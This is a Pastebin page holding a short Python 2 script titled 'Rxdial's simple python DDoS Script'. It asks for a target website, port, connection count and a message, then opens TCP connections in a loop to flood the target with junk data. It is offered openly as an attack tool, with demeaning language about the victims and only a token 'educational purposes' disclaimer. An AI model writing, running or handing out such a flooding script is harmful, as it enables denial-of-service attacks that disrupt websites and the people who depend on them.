Advertisement
Cerulan

Untitled

Feb 28th, 2014
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  5. # Rxdial's simple python DDoS Script
  6. # Infinit3
  7. # Using Python 2.7.5
  8. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  9.  
  10.  
  11.  
  12. import socket
  13. import time
  14.  
  15. address = (raw_input("Please enter the website you wish to DDoS ~~~~> "))
  16. port = int(input("Please enter the port ~~~~> "))
  17. ip = socket.gethostbyname( address )
  18. conns = int(input("Enter the amount of connections you wish to make ~~~~> "))
  19. junk = (raw_input("Enter the message you want these whores to see ~~~~> "))
  20. print "Allright. We are initializing the boxes of crap you wish to make them drown in."
  21. print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
  22. time.sleep(5)
  23.  
  24. def dos():
  25. """ This function is the one that sends all the crap their way """
  26. ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27. try:
  28. ddos.connect((address, 80))
  29. except socket.error, msg:
  30. print "Failure to connect to host."
  31. ddos.send(junk)
  32. ddos.sendto(junk, (ip, port))
  33. ddos.send(junk)
  34. ddos.close()
  35.  
  36. for i in range(1, conns):
  37. dos()
  38. print "We have completed our task, sir."
  39.  
  40. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  41. # For educational purposes ONLY
  42. # Give credit to creator: Rxdial
  43. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement